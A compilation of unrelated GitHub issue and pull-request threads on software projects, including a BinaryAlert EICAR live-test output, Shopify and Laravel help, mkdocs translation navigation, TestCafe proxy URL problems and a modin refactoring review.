EICAR test file uploaded! Connecting to table DynamoDB:[table]...
	[1/10] Querying DynamoDB table for the expected YARA match entry...
	[2/10] Querying DynamoDB table for the expected YARA match entry...
	[3/10] Querying DynamoDB table for the expected YARA match entry...
	[4/10] Querying DynamoDB table for the expected YARA match entry...
	[5/10] Querying DynamoDB table for the expected YARA match entry...

SUCCESS: Expected DynamoDB entry for the EICAR file was found!

{'LambdaVersion': Decimal('5'),
 'MD5_Computed': '44d88612fea8a8f36de82e1278abb02f',
 'MatchedRules': {'public/eicar.yara:eicar_av_test'},
 'S3Objects': {'S3:[bucket]:eicar_test_0f5fabe7-e515-4666-97b4-ad17fc34eca4.txt'},
 'SHA256': '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f',
 'SamplePath': 'eicar_test_0f5fabe7-e515-4666-97b4-ad17fc34eca4.txt'}

Removing EICAR test file from S3...
Removing DynamoDB EICAR entry...

Live test succeeded! Verify the alert was sent to your SNS subscription(s).

Reviewers
to: @jacknagz
cc: @airbnb/binaryalert-maintainers

@mime-frame Thanks for the suggestions! PTAL, I've updated the PR comment with the new printed messages

Pretty cool - I'd also suggest making an argparse help string that explains each command with some examples.  I've found that really helpful for the SA CLI.

@jacknagz The docstrings are automatically gathered for the CLI help:
$ python3 manage.py --help
usage: manage.py [-h]
                 {analyze_all,apply,build,deploy,live_test,test,update_rules}

positional arguments:
  {analyze_all,apply,build,deploy,live_test,test,update_rules}
                        analyze_all    Start a batcher to asynchronously re-analyze the entire S3 bucket.
                        apply          Terraform validate and apply any configuration/package changes.
                        build          Build Lambda packages (saves *.zip files in terraform/).
                        deploy         Deploy BinaryAlert. Equivalent to test + build + apply + analyze_all.
                        live_test      Upload an EICAR test file to BinaryAlert which should trigger a YARA match alert.
                        test           Run unit tests (*_test.py).
                        update_rules   Update YARA rules cloned from other open-source projects.

optional arguments:
  -h, --help            show this help message and exit


Parameterless contructors for some CandleStickPatterns

Parameterless contructors added to AbandonedBaby, DarkCloudCover, EveningDojiStar, EveningStar, MatHold, MorningDojiStar and MorningStar.

It's strange to see five merge commits as part of this PR. Not sure what happened. Ideally the PR would only include the new commits (the last two)

Maybe is because I made merge instead of rebase.

Have you had a look at the contributing.md?
This document defines some good general practices for working with git. One key is that you always first refresh your origin and local master branches from QuantConnect, then perform changes on a new branch. Before submitting for a pull request, you can fetch and rebase your changes. This will help keep the source control history clean and understandable.

Sorry for the mess.
Is there I can do to fix the problem now?

Nice work @Jay-Jay-D, thanks for seeing it through to the end :) I squashed all the intermediate merges together.

Thank you @jaredbroad @mchandschuh and @StefanoRaggi.
And again, sorry for the mess.

No worries you should've seen some of my first commits on LEAN..  it read like this:
"Initial Commit"
"Initial Commit"
"Initial Commit"
"Initial Commit"
"Initial Commit"....


ARTEMIS-1257 ActiveMQActivationSpec.java should use boxed types for a…

…ttributes values according to the JCA specification
https://issues.apache.org/jira/browse/ARTEMIS-1257

retest this please

retest this please


Trying to get property 'shopify_domain' of non-object

I am trying to access the products API in the middleware. I am getting the above error. Please help I am new to laravel and Shopify.
My code
`<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use OhMyBrew\ShopifyApp\Facades\ShopifyApp;
class Products
{
/**
* Handle an incoming request.
*
* @param  \Illuminate\Http\Request  $request
* @param  \Closure  $next
* @return mixed
*/
public function handle(Request $request, Closure $next)
{
$shop = ShopifyApp::shop();
echo(ShopifyApp::shop()->shopify_domain); // If you want to get all the product
$response = $shop->api()->request('GET', '/admin/products.json');
$products = $response->body;
echo 'products page';
return $next($request);
}
}
Thanks in advance
`

Sorry I can not provide support for building. Middleware is not really the place for doing this logic, this should be done in a service or a controller. I think you should try out some basic Laravel apps before attempting to go head in on Shopify development, it can be tricky :)

Thanks for the reply. I added the code in the controller. It is working.
`<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use OhMyBrew\ShopifyApp\Facades\ShopifyApp;
class ProductsController extends Controller
{
public function index() {
    $shop = ShopifyApp::shop();
    $response = $shop->api()->request('GET', '/admin/products.json');
    $products = $response->body;
   // echo '<pre>';
   // print_r($products);

}

}
`


THIS PAGE MUST BE REMOVED IMMEDIATELY

There is no longer a team at Azure Dedicated to support Oracle workloads on Azure BareMetal Infrastructure (BMI).  They have either left the company, retired, or been re-assigned.  As a result, it is misleading and confusing to customers for this documentation to continue to be exposed publicly, so all mention of Oracle on BMI must be removed immediately.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9bff1ec7-8ef4-bade-33b1-77626ad002aa
Version Independent ID: d080ce1f-19be-0800-35eb-12996db3f430
Content: High availability and disaster recovery for Oracle on BareMetal - Azure Baremetal Infrastructure
Content Source: articles/baremetal-infrastructure/workloads/oracle/concepts-oracle-high-availability.md
Service: baremetal-infrastructure
Sub-service: baremetal-oracle
GitHub Login: @dineshga
Microsoft Alias: dineshga

@tigormanmsft Thank you for reporting this. We will work on this internally with the team and update.

@tigormanmsft Thanks for pointing this out.
We are working internally to get these docs removed.
Closing all the issues now.
We can connect internally if there are any further questions on this.

@VikasPullagura-MSFT - please hold off on removing these pages.  Kalyan Kaki of the Azure Dedicated product group has stepped up to take responsibility for the pages, so please do nothing without his authorization.  Thank you!


Have write call at most once the inner write.

The documentation for std::io::Write says:

A call to write represents at most one attempt to write to any wrapped object.

Currently, zstd::stream::Encoder::write behaves pretty much like a write_all, and does not respect this.

Done in f957f7c3ed0af5c61282cc156159865ebe75dcbd.


[Doc] package landing page not expanded by default

What happened?
Go to https://pkg.go.dev/github.com/Azure/azure-sdk-for-go/sdk/keyvault/azsecrets
Notice that the doc landing page of a package is not expanded by default

What did you expect or want to happen?
Why not expand it by default? I need to click to expand it.

How can we reproduce it?

Anything we should know about your environment.

I believe this is out of our control. @jhendrixMSFT any idea on how to make this change?

This is by (their) design.  If you look at the docs for AWS it's the same thing.
https://pkg.go.dev/github.com/aws/aws-sdk-go


Make channel name configurable

For the following Source class
public interface MessageChannels {
   @Output("activationMsgQueue")
    MessageChannel save();

}
How can i make the channel name "activationMsgQueue" configurable? Should pick up the value from yaml file.
Thanks in advance
-Rahul

Hi Rahul,
Channel names are not configurable. You can use the destination property of the binding to poin them to a different destination (i.e. topic).
It's hard for me to see where that could be useful - as they are bean names and part of the configuration - e.g. they can be injected in other Spring Integration components, so I'm not sure what the dynamic naming would achieve.
Can you rather describe your use case though?

During code review i got a comment that the channel name looks hardcoded and so prefer it to be read from config file. That is why i raised the question.

Please revert Marius.

Hey @vsrahul82 ,
Sorry, I thought I'd posted the answer here, but apparently missed this.
In short: because channels are beans and they may be injected into other beans - e.g. Spring Integration endpoints, making their names arbitrarily modifiable at runtime would just make things complicated on the configuration end (and most likely impossible to manage, as beans in an application won't be able to reliably reference other beans). The same logic as for qualifiers applies in this case - in fact @Input and @Output are qualifiers as well.
So this is not a feature that we intend to support.

This is not relevant anymore; closing this for now.


Compatibility with native nav configuration in mkdocs.yml

Hi there 👋
I've been looking at different translation methods where I can achieve:

(i) navigation title translations
(ii) custom ordering of pages in nav, and
(iii) preserve URL schemes to match my file directory (i.e., ../folder-name/ and not ../Folder%20Name/ if configured otherwise).

As awesome-pages is non-compatible for nav_translations, here's an approach using the native nav configuration in mkdocs.yml that almost gets me to what I'm looking for, but I run into an issue.
I have the nav_translations for my folders within the i18n configuration in mkdocs.yml:
nav_translations:
    fr:
        Folder 1: "Dossier 1"
        Folder 2: "Dossier 2"

Note that I'm not concerned about translating page titles as these can be inherited from the markdown heading of the page.
Then I order the nav for my entire site, with my translated files:
nav:
- Folder 1:
  - folder1/page1.md
  - folder1/page1.fr.md
  - folder1/page2.md
  - folder1/page2.fr.md
- Folder 2:
  - folder2/page1.md
  - folder2/page1.fr.md
- page1.md
- page1.fr.md

The intended outcome is to have the following in my main nav for whatever language that is selected:
| Folder 1 | Folder 2 | Page 1 |
And in the nav for a given folder in a given language I want the following:
Folder 1

page 1
page 2

With the configuration above, (i) my titles get translated, (ii) my custom order defined in nav is preserved, and (iii) the URL scheme reflecting my file directory is preserved (with a nice /fr/ prefix when translated to my non-default language). And of course my content is correctly translated following the .fr.md scheme.
Here is the problem: when I'm in a given language, all non-translated files defined in my mkdocs.yml nav configuration are shown on screen, marked as "None", and lead to a 404.
The effect is the following:
Main nav in English
| Folder 1 | Folder 2 | Page 1, english | None |
Main nav in French
| Dossier 1 | Dossier 2 | None | page 1, français |
Similarly in my page nav:
Folder 1

Page 1 in Folder 1, english
None
Page 2 in Folder 1, english
None

And the inverse for French, where the page titles and "None" are flipped.
Here is an example I put together showing the problem: https://scmcca.github.io/nav-issues/
And the repo so you can see the files: https://github.com/scmcca/nav-issues/
Am I perhaps missing something basic here? Would love any help or alternatives to achieve what I outlined here.
Thanks!

As I might have found a fix for #65, could you please try #71 instead?

FWIW: Would it make more sense to push for compatibility with the native nav configuration in an mkdocs.yml file vs pushing for compatibility with a separate third-party plugin?
While I don't have a strong opinion as long as the solution presented works, I find the approach I outlined here much more intuitive for organizing explicit directories and translating titles.
That being said, I would heavily favor a patch that corrects the problem I presented above. I.e., taking care of the last step to remove untranslated documentation.
Perhaps a patch like that is less straightforward to execute as it would appear. But I would love for it to be considered!


modify automatic generation of derivate files

@michaelnmmeyer — it is a nuisance that every commit leads to an auto response from the system, as in 1e4a27aa27b2298d35fc8f1368fb8732d16b61e9.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 10 (delta 4), reused 10 (delta 4), pack-reused 0
Unpacking objects: 100% (10/10), 954 bytes | 11.00 KiB/s, done.
From https://github.com/erc-dharma/tfd-sanskrit-philology
   393082c..1e4a27a  master     -> origin/master
Merge made by the 'ort' strategy.
 docs/diplEd/DHARMA_DiplEdOSM-Dh95.html             | 2 +-
 docs/html/nityahnikatilaka_csaba_kiss/nat_tei.html | 2 +-
 docs/html/vrsasarasamgraha_csaba_kiss/vss_tei.html | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

Is it possible to let the machine apply its actions only to recently changed xml files, rather than to all xml files in the repo?

I plan to move generated web pages to the static website repository, but this will take some time. Manu is annoyed by these commits, too.


Connect Broccoli with livereloading

Preferably strip BrowserSync away (a little too heavy that thing)

BrowserSync already isn't included anymore. Now it just needs to be connected to koa-livereload.


Update to standard

See https://github.com/Senzing/template-repository/issues/43

Pull requests:

https://github.com/Senzing/template-docker/pull/98


One to One Relationships not updating

Hi!
I have the following class
public class Project extends SugarRecord implements Serializable{
String projectName;
Client client;
String description;
Category category;
}
where both Client and Category extends SugarRecord.
If i want to update a Project, whats the right way to do so?
After I get a reference to the project I want to update and modifie all the fields, the only ones that are getting updated in the database are "description" and "project Name", whereas "client" and "category" remains unaltered.
Does Sugar ORM updates the references to other objects on the database?
Thanks!!
Almost Forgot! Im using sugar 1.3.1

@andrespalma2 Did you ever solve this?


Make the cell of jupyter-notebook remember their mode

@ianhi I am using your plugins together with @axelfahy/jupyterlab-vim. The problem with jupyterlab-vim is when I jump to a notebook cell, I always end up in the normal mode, even if that cell was in insert mode previously. Somewhere you have mentioned that each of these cells are seperate codemirror editors. Now, do you think it is possible to make the cell remember their states.

Hi @gordonrust I see that you asked the same question on axelfahy's repo https://github.com/axelfahy/jupyterlab-vim/issues/13.
It's a good question! But I think it makes more sense in the context of the other repo so I'll try to answer there


use getAttribute instead of dataset to make it work in IE9+

Hi Jessica! Really appreciate the PR. I don't know enough about the data attribute and get attribute methods. Does this work fine on all modern browsers also?

Seems like it!


Posibilities of adding an API for the dream world?

Hi zurgeg!
Apologies for starting this discussion in issues. I've been following your work on this for a while now, and it's really impressive! The fact that game sync allows us to interact with the pokemon game itself has got me thinking a lot about what could possibly be done with this feature.
I was thinking specifically about some kind of API in the server, that could let users connect their game sync to custom applications and games, and then send their progress back.
I make applications for old pebble smartwatches from time to time, and I thought about how perfect a pokewalker application would suit these kinds of devices. Users could send their pokemon to their wrist, walk about to earn points, catch pokemon etc, and then later send the pokemon back.
Obviously there would be some problems to iron out with a concept like this, for example preventing apps from declaring pokemon and items that would be impossible to catch in the original dream world. But what are your thoughts on the possibility of this working? Do you think it's something that could be added to the dream server specifically?

Hi zurgeg!
Apologies for starting this discussion in issues. I've been following your work on this for a while now, and it's really impressive! The fact that game sync allows us to interact with the pokemon game itself has got me thinking a lot about what could possibly be done with this feature.
I was thinking specifically about some kind of API in the server, that could let users connect their game sync to custom applications and games, and then send their progress back.
I make applications for old pebble smartwatches from time to time, and I thought about how perfect a pokewalker application would suit these kinds of devices. Users could send their pokemon to their wrist, walk about to earn points, catch pokemon etc, and then later send the pokemon back.
Obviously there would be some problems to iron out with a concept like this, for example preventing apps from declaring pokemon and items that would be impossible to catch in the original dream world. But what are your thoughts on the possibility of this working? Do you think it's something that could be added to the dream server specifically?

Actually, I haven't thought about that! I know the Dream World flash games use some kind of API, but I don't know what. I'll take a look and see what I can do. The Poke Radar implementation would be a good start since that's actually based off of the Pokewalker (I love that thing lol). Maybe I could add an endpoint to request a user's patches, then you display it on the watch, and then bounce the picked patch back to the server.

Sweet! I'm a big fan of the pokewalker myself, so I've always wanted to do something with the idea once I learned about the Gamesync revival work. That solution could work really nicely, it would require a constant connection but I don't think that's too much of an issue these days.


storage: switch TaskBook storage format from XML to JSON

WIP. Still wondering whether the jackson databind or streaming API should be used.
This PR currently uses the streaming API.

Coverage increased (+0.9%) to 85.714% when pulling 582c4a899aced6b290443b2756250b2ac554cc7a on pyokagan:json-taskbook-storage into 67509e29022255a7655f26ef9f89f802997147c7 on CS2103AUG2016-T11-C4:master.

Coverage decreased (-0.9%) to 83.978% when pulling 2787d70243ed7178efacb8142aa6dd8fbaedd6fc on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-2.3%) to 82.502% when pulling bbdfea53c5daf745237364759c5cb005ba50ea53 on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-2.3%) to 82.502% when pulling 1bcfdc151a71a2c7ed1602037e80bf69808bfd78 on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-1.3%) to 83.578% when pulling 1d647426b0b10d55a188d82b7fe34a333d859cc8 on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-2.0%) to 82.884% when pulling fffca1d014194aa65de7f4a4a87e78525b51df0d on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-1.8%) to 83.056% when pulling cee3acbb35949c20e374b00dd526a07c7da1aac0 on pyokagan:json-taskbook-storage into 0b8a6d5f67a79456fc28f5992672c1bfbb16a99c on CS2103AUG2016-T11-C4:master.

Coverage decreased (-0.2%) to 83.056% when pulling 0ccd498f28e4d631a9d91e30e28543f9946c497f on pyokagan:json-taskbook-storage into 0c12694ba8a505dc948459fc0772272fa0907c33 on CS2103AUG2016-T11-C4:master.

Coverage decreased (-0.2%) to 83.056% when pulling ea93e6de999e1a11920b773826042bef2ac05839 on pyokagan:json-taskbook-storage into 0c12694ba8a505dc948459fc0772272fa0907c33 on CS2103AUG2016-T11-C4:master.

Bypassing review because this PR is blocking lots of issues and we don't have much time.
Also, I trust in myself :^)


Fix canny sobel

The API for canny sobel changed :
-only one buffer remains with a function giving the size of this buffer (  arm_cv_get_scratch_size_canny_sobel(int width))
-the name of the function have changed to arm_cv_canny_edge_sobel

Closed because of force pushed. Please create a new clean PR.


TestCafe/Proxy test run requests different urls than a normal browser session

What is your Test Scenario?
Testing the login to our website.
What is the Current behavior?
TestCafe starts but waits forever for the website/dom to appear until it runs into a timeout. By looking into the console, an exception is thrown that prevents the application to start:
ERROR Error: "Uncaught (in promise): t: {"headers":{"normalizedNames":{},"lazyUpdate":null},"status":404,"statusText":"Not Found","url":"https://apiserver/ApiServer/html/appconfig.json/index.html","ok":false,"name":"HttpErrorResponse","message":"Http failure response for https://apiserver/ApiServer/html/appconfig.json/index.html: 404 Not Found"

By looking into the requests made by TestCafe and its respective proxy, the request urls look quite strange. I have attached two screenshots below showing the details for both the requests by TestCafe as well as the requests by a normal browser session.

Screenshots:

What is the Expected behavior?
TestCafe requests all resources properly and loads the website.
What is your web application and your TestCafe test code?
We are testing an enterprise web application, this is just a very simple example of one test:
fixture `Main Page - Navigation`

    .page('https://apiserver/ApiServer/html/rbwebshop/')

    .before(async () => {
        await dbConnection.connect();
    })

    .after(async () => {
        await dbConnection.disconnect();
    })

    .beforeEach(async t => {
        await login(t);
        await t.switchToMainWindow();
    });

test('StartAtWelcomePage', async t => {

    await t
        .switchToIframe('iframe')
        .expect(Selector('h1').find('span').withText('Welcome').innerText).eql('Welcome');
});

Your Environment details:

testcafe version: 1.9.1
node.js version: v12.18.0
command-line arguments: testcafe firefox testfile.js
browser name and version: firefox 68.12.0esr
platform and version:  Windows 10
other:

@enbma9
Hello,
This information is not sufficient to reproduce the issue. We need to examine a minimal project or some public URL. Could you please share it with us?
Since your website is private and requires authentication, I will not be able to access it. Our policy prevents us from accessing a customer’s internal resources without prior written approval from the entity that owns the server/web resource.
If you want us to research the problem further, we’ll need access to the server/web resource. Please ask the website owner to send us<EMAIL_ADDRESS>written confirmation. It must permit the DevExpress personnel to remotely access the website and its internal resources for research/testing/and debugging purposes.

@Farfurix
Hello,
unfortunately there is no possibility to access the project or to setup something identical as the web application is an enterprise product deployed within the enterprise network. The login itself is also not the problem as the login page that should be loaded cannot be loaded due to the wrong requests made by the browser controlled by the TestCafe session.
The big question is why does the TestCafe session tries to:
GET http://<testcafe proxy...>/https://apiserver/ApiSever/html/appconfig.json

Instead of:
GET http://<testcafe proxy...>/https://apiserver/ApiSever/html/rbwebshop/appconfig.json

This would be the expected behavior as a normal browser session also requests only
GET https://apiserver/ApiSever/html/rbwebshop/appconfig.json

Is there any way to provide more details besides accessing the project? For instance a log to give you more information what happens behind the scenes?
Best regards.

@enbma9
Hello,

Instead of:
GET http://<testcafe proxy...>/https://apiserver/ApiSever/html/rbwebshop/appconfig.json

If you do not see the https://apiserver/ApiSever/html/rbwebshop/appconfig.json without testcafe, then this may be due to incorrect URL resolve.

Is there any way to provide more details besides accessing the project? For instance a log to give you more information what happens behind the scenes?

It is impossible to find the cause of this issue without examining your application code. You can try to isolate the problematic URL logic and show us how the appconfig.json request goes. Perhaps this request (/appconfig.json) is resolved regarding the incorrect https://apiserver/ApiSever/html/rbwebshop location.

@Farfurix
Hello,

If you do not see the https://apiserver/ApiSever/html/rbwebshop/appconfig.json without testcafe, then this may be due to incorrect URL resolve.

Its the other way around.
I can see https://apiserver/ApiSever/html/rbwebshop/appconfig.json being properly requested without TestCafe. Hence the url is properly resolved by using the browser. But TestCafe is trying to get https://apiserver/ApiSever/html/appconfig.json for whatever reason.
You can take a look about the requests made by TestCafe:
<IP_ADDRESS>_Archive [20-09-04 14-37-25]_redacted.har.zip
Looking into these http requests, i see no reason why TestCafe cuts off rbwebshop in the url when trying to get the resource.

Thank you for sharing the HAR log. I can see two requests that look problematic (http://ORIGIN/ID/http://apiserver/ApiServer/html/appconfig.json and http://ORIGIN/ID/http://apiserver/ApiServer/html/appconfig.json/index.html). However, as @Farfurix said, we need to understand your app logic to localize, debug, and fix the problem.
If you cannot share a complete sample or a link to your application, could you please share the HAR log of your app launched without TestCafe and the piece of code that creates the problematic request? You can place a breakpoint into the fetch/XHR.open call and copy the code of surrounding functions from several frames.
Also, could you please try to install the latest TestCafe release (v1.9.2) and make sure that you can reproduce the issue with it?


Auth0 edgeworx logos

adding back auth0 image folder that was accidentally removed (and a new image)
fixed URL error ("staging")

Closing, this update will be merged to master as part of the merge to master PR. https://github.com/darcyai/docs/pull/267


Amount not shown when running 'query account'

I'm quering the balance of the account on testnet using fxcored command (from Docker container), but it doesn't show any amount.
$ fxcored query account fx1s3ye9y8hgg26wqkysvkdavcngg4syfdzejgqt2
'@type': /cosmos.auth.v1beta1.BaseAccount
account_number: "10"
address: fx1s3ye9y8hgg26wqkysvkdavcngg4syfdzejgqt2
pub_key:
  '@type': /cosmos.crypto.secp256k1.PubKey
  key: AxOA/4K78GEzTT/dY7jJcBZtKohYH5IVVqtgYRfCveGH
sequence: "55"

despite the balance is shown in the Explorer.
I believe there should be amount field.

fxcored query bank balances [address]

fxcored query bank balances [address]

It works, thanks.

However according to Gaia Client docs, query account sub-command should work as well in order to view your account's balance.

Btw. As a side-note, according to Gaia Client docs, query account sub-command should work as well in order to view your account's balance.

cosmos-sdk has separated query account and query balances, and gaia is the same. It should be that their documents have not been updated in time. cosmos-sdk ChangLog


Supporting no stdout, fix force color bug

Type of changes

[x] Bug fix
[ ] New feature
[ ] Documentation / docstrings
[ ] Tests
[ ] Other

Checklist

[x] I've run the latest black with default args on new code.
[ ] I've updated CHANGELOG.md and CONTRIBUTORS.md where appropriate.
[x] I've added tests for new code.
[x] I accept that @willmcgugan may be pedantic in the code review.

Description
Please describe your changes here. If this fixes a bug, please link to the issue, if possible.

Codecov Report

Merging #2513 (99ed636) into master (3b7728b) will decrease coverage by 0.21%.
The diff coverage is 69.33%.

@@            Coverage Diff             @@
##           master    #2513      +/-   ##
==========================================
- Coverage   95.67%   95.46%   -0.22%
==========================================
  Files          72       73       +1
  Lines        7767     7825      +58
==========================================
+ Hits         7431     7470      +39
- Misses        336      355      +19

Flag
Coverage Δ

unittests
95.46% <69.33%> (-0.22%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

rich/box.py
100.00% <ø> (ø)

rich/scope.py
100.00% <ø> (ø)

rich/_null_file.py
62.79% <62.79%> (ø)

rich/console.py
96.43% <69.23%> (-0.28%)
:arrow_down:

rich/logging.py
97.43% <75.00%> (-2.57%)
:arrow_down:

rich/pretty.py
98.97% <90.00%> (-0.26%)
:arrow_down:

rich/repr.py
100.00% <100.00%> (ø)

rich/cells.py
100.00% <0.00%> (+3.94%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Support non-root git location in static builds link

Added a :deps/root optional parameter to static build function to link to a deps project at a non-root git location. Chose :deps/root to mirror the deps.edn dependency coordinate attribute for a non-root file location.

Sorry for leaving this in a dangling state for years. Will probably want to support this using a more open extension mechanism using a function.


REFACTOR-#1763: Move logic of merge into the query compiler

What do these changes do?
These changes move out the logic of merge and sort_index from API layer into the query compiler, fix incorrect computing of row_lengths and column_widths as well.

[x] passes flake8 modin
[x] passes black --check modin
[x] signed commit with git commit -s
[x] Resolves #1763, #1771
[x] tests added and passing

@devin-petersohn , just a friendly reminder to review.

@YarShev  As described, you made 3 independent changes in one PR. Could you split this one into several?

@anmyachev , I don't think that these changes are so big and confused in order to split them into several PRs. If you have any questions on changes, I can explain.

@anmyachev , I don't think that these changes are so big and confused in order to split them into several PRs. If you have any questions on changes, I can explain.

Indeed, there are few changes, but nevertheless, it is not worth mixing fundamental tasks such as refactoring and bug fixing. So there is minimum 2 PRs.

The changes which are in the PR are dependent on each other. My description is just an explanation for improving of review. I can create an issue for each unit which I mentioned. But let's imagine, how many issues are needed for such changes like these #1638. So, I think it is just a wasting of time.

The changes which are in the PR are dependent on each other. My description is just an explanation for improving of review. I can create an issue for each unit which I mentioned. But let's imagine, how many issues are needed for such changes like these #1638. So, I think it is just a wasting of time.

This will be a challenge for #1638, but it will not be a challenge for your PR.
For such a large product, the main thing is maintenance. I think that you understand that reducing the impact area of PR is better for further support, but I'll draw your attention to this anyway.
If I haven't convinced you, then let's just wait for the third opinion.

#1638 is a corner case. Still, I believe that can be resolved without dividing into several PRs.

@devin-petersohn , just a friendly reminder to review.

@devin-petersohn , I have increased the size of commit message header because I think, 50 is few small.

@gshimansky , Regarding to the fix for #1771 . There is a test for this. Here when how=inner, result will be empty. Before the fix, test was passing because the related logic fell down into default_to_pandas. When I moved out the logic into the query compiler, the test became falling. After fix of computing of row_lengths and column_widhts, test are passing.

@gshimansky , Regarding to the fix for #1771 . There is a test for this. Here when how=inner, result will be empty. Before the fix, test was passing because the related logic fell down into default_to_pandas. When I moved out the logic into the query compiler, the test became falling. After fix of computing of row_lengths and column_widhts, test is passing.

I didn't quite understand how #1771 bug is tested. Right now on master branch all tests pass while the bug exists. We need a test that would fail on current master branch to verify that this PR fixes this bug. If you say that existing tests are enough to test for this bug and require just a small change, can you add this change to this PR?

@gshimansky , These changes are in this PR. It is the first one and the second one. The bug was that: if we call reset_index for empty DataFrame from API layer, reset_index fall down into default_to_pandas that performs an operation correctly (the test is passing). But when I moved out the logic into the query compiler (reset_index fall down into our inner layer), the test became falling because of incorrect computing of row_lengths and column_widths which are calculated during reset_index operation. After this fix the test is passing.

@gshimansky , These changes are in this PR. It is the first one and the second one. The bug was that: if we call reset_index for empty DataFrame from API layer, reset_index fall down into default_to_pandas that performs an operation correctly (the test is passing). But when I moved out the logic into the query compiler (reset_index fall down into our inner layer), the test became falling because of incorrect computing of row_lengths and column_widths which are calculated during reset_index operation. After this fix the test is passing in this PR.

Yes I saw the bug fix in this PR. I didn't see any new test in PR. None of test files are modified in this PR.

@gshimansky , I added an appropriate test for #1771 .

@YarShev After CI passes I will merge this. Thanks!


Update 9.1-chinese.md

fix

@aedinmincks Thanks! Sorry for response so late! I've go through the book, and found that list 9.5's code is as origin. And is_ready is an experiment interface now: https://en.cppreference.com/w/cpp/experimental/future/is_ready
So I prefer not to approve this pull request.


Question: During training, the calculation of topk value’s att_weight is different from the classic transformer’s multi-head attention.

The top-k key attention calculation formula in Unlimiformer：
#this_layer_prompt_keys: (batch, head, source_len, dim)
#query: (batch, tgt, head, dim)
attn_weights = torch.matmul(this_layer_prompt_keys.unsqueeze(1), query.unsqueeze(-1))
.reshape(batch_size, tgt_len, query.shape[-2], 1,this_layer_prompt_keys.shape[-2])
The normal transformer multi-head attention mechanism:
#key(batchhead, source_len, dim)
#query(batchhead , target_len, dim)
att_weight = torch.matmul(query, key)
Unlimiformer uses the first attention calculation formula to get the top-k key, so i want to know why uses it and if i can use normal transformer multi-head attention mechanism to get top-k value.

Hi @JKTang1 ,
Thank you for your interest in our work!
Our computation is mathematically equivalent to the standard transformer's torch.matmul(query, key) calculation.
The variable that you see as query in our implementation, is not the standard query, but it has gone through processing here: https://github.com/abertsch72/unlimiformer/blob/main/src/unlimiformer.py#L721 .
Please see section 2.3 in our paper.
Best,
Uri


Generating scenarios from real-time air traffic data OR from historic data such as from ASTERIX files

Hello there,
I would like to visualize scenarios in BlueSky based on real-time data or from ASTERIX files. Could you please kindly assist me regarding this matter? Is there an established method for achieving this in BlueSky, or would it require the development of a custom function? If the latter is the case, could you provide any resources or starting points?
Your assistance will be greatly appreciated. Thank you!

Hello!
For visualising real-time data using BlueSky, you can create a plugin that makes use of the move command:
https://github.com/TUDelft-CNS-ATM/bluesky/wiki/Move
Thus, with every update that is received from the live data source, this command can be used to update the state parameters of an aircraft (position, heading, speed, etc.).
Check out this tutorial on how to create a plugin:
https://github.com/TUDelft-CNS-ATM/bluesky/wiki/plugin
If you want to use historical data, generating a scenario file might be simpler. You can either make use of the move command as above, or add waypoints with altitude, velocity, speed, and required time of arrival constraints (using the ADDWPT and RTA commands) such that the aircraft follows the given path.
The relevant documentation for commands can be found here:
https://github.com/TUDelft-CNS-ATM/bluesky/wiki/Command-Reference
These commands can be chained and put in a .scn file with a time stamp. Check out one of the example scenarios to see how this can be done:
https://github.com/TUDelft-CNS-ATM/bluesky/blob/master/scenario/simpleRoute.scn

Thank you so much for your response, will follow up if needed!


Provide an introduction on using LBRY API using python.

Updated with better instructions.
Replaces #139.

I don't see a need for a FAQ article specifically for Python, unless we're intending to add these for all languages.
Additionally, the recommended way to interact with the daemon is just to use the JSONRPC server, the same any other language would use.


crunchyroll-go: Add version 2.1.0

Added an app manifest for the crunchyroll-go CLI tool.
App can be found here https://github.com/ByteDream/crunchyroll-go

Closes #XXXX

Relates to #XXXX

[X] I have read the Contributing Guide.

/verify

/verify

Use this:
{
    "version": "2.1.0",
    "description": "A Go library & CLI for undocumented Crunchyroll APIs.",
    "homepage": "https://github.com/ByteDream/crunchyroll-go",
    "license": "LGPL-3.0-or-later",
    "suggest": {
        "ffmpeg": "ffmpeg",
        "vcredist": "extras/vcredist2010"
    },
    "notes": "You need a premium account for full (API) access.",
    "architecture": {
        "64bit": {
            "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v2.1.0/crunchy-v2.1.0_windows.exe#/crunchy.exe",
            "hash": "76b746c16269981230c68bb4f85fc0a35ceaf68a124e9f882ee3584ea179d355"
        }
    },
    "bin": "crunchy.exe",
    "checkver": "github",
    "autoupdate": {
        "architecture": {
            "64bit": {
                "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v$version/crunchy-v$version_windows.exe#/crunchy.exe"
            }
        }
    }
}

Use this:

{

    "version": "2.1.0",

    "description": "A Go library & CLI for undocumented Crunchyroll APIs.",

    "homepage": "https://github.com/ByteDream/crunchyroll-go",

    "license": "LGPL-3.0-or-later",

    "suggest": {

        "ffmpeg": "ffmpeg",

        "vcredist": "extras/vcredist2010"

    },

    "notes": "You need a premium account for full (API) access.",

    "architecture": {

        "64bit": {

            "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v2.1.0/crunchy-v2.1.0_windows.exe#/crunchy.exe",

            "hash": "76b746c16269981230c68bb4f85fc0a35ceaf68a124e9f882ee3584ea179d355"

        }

    },

    "bin": "crunchy.exe",

    "checkver": "github",

    "autoupdate": {

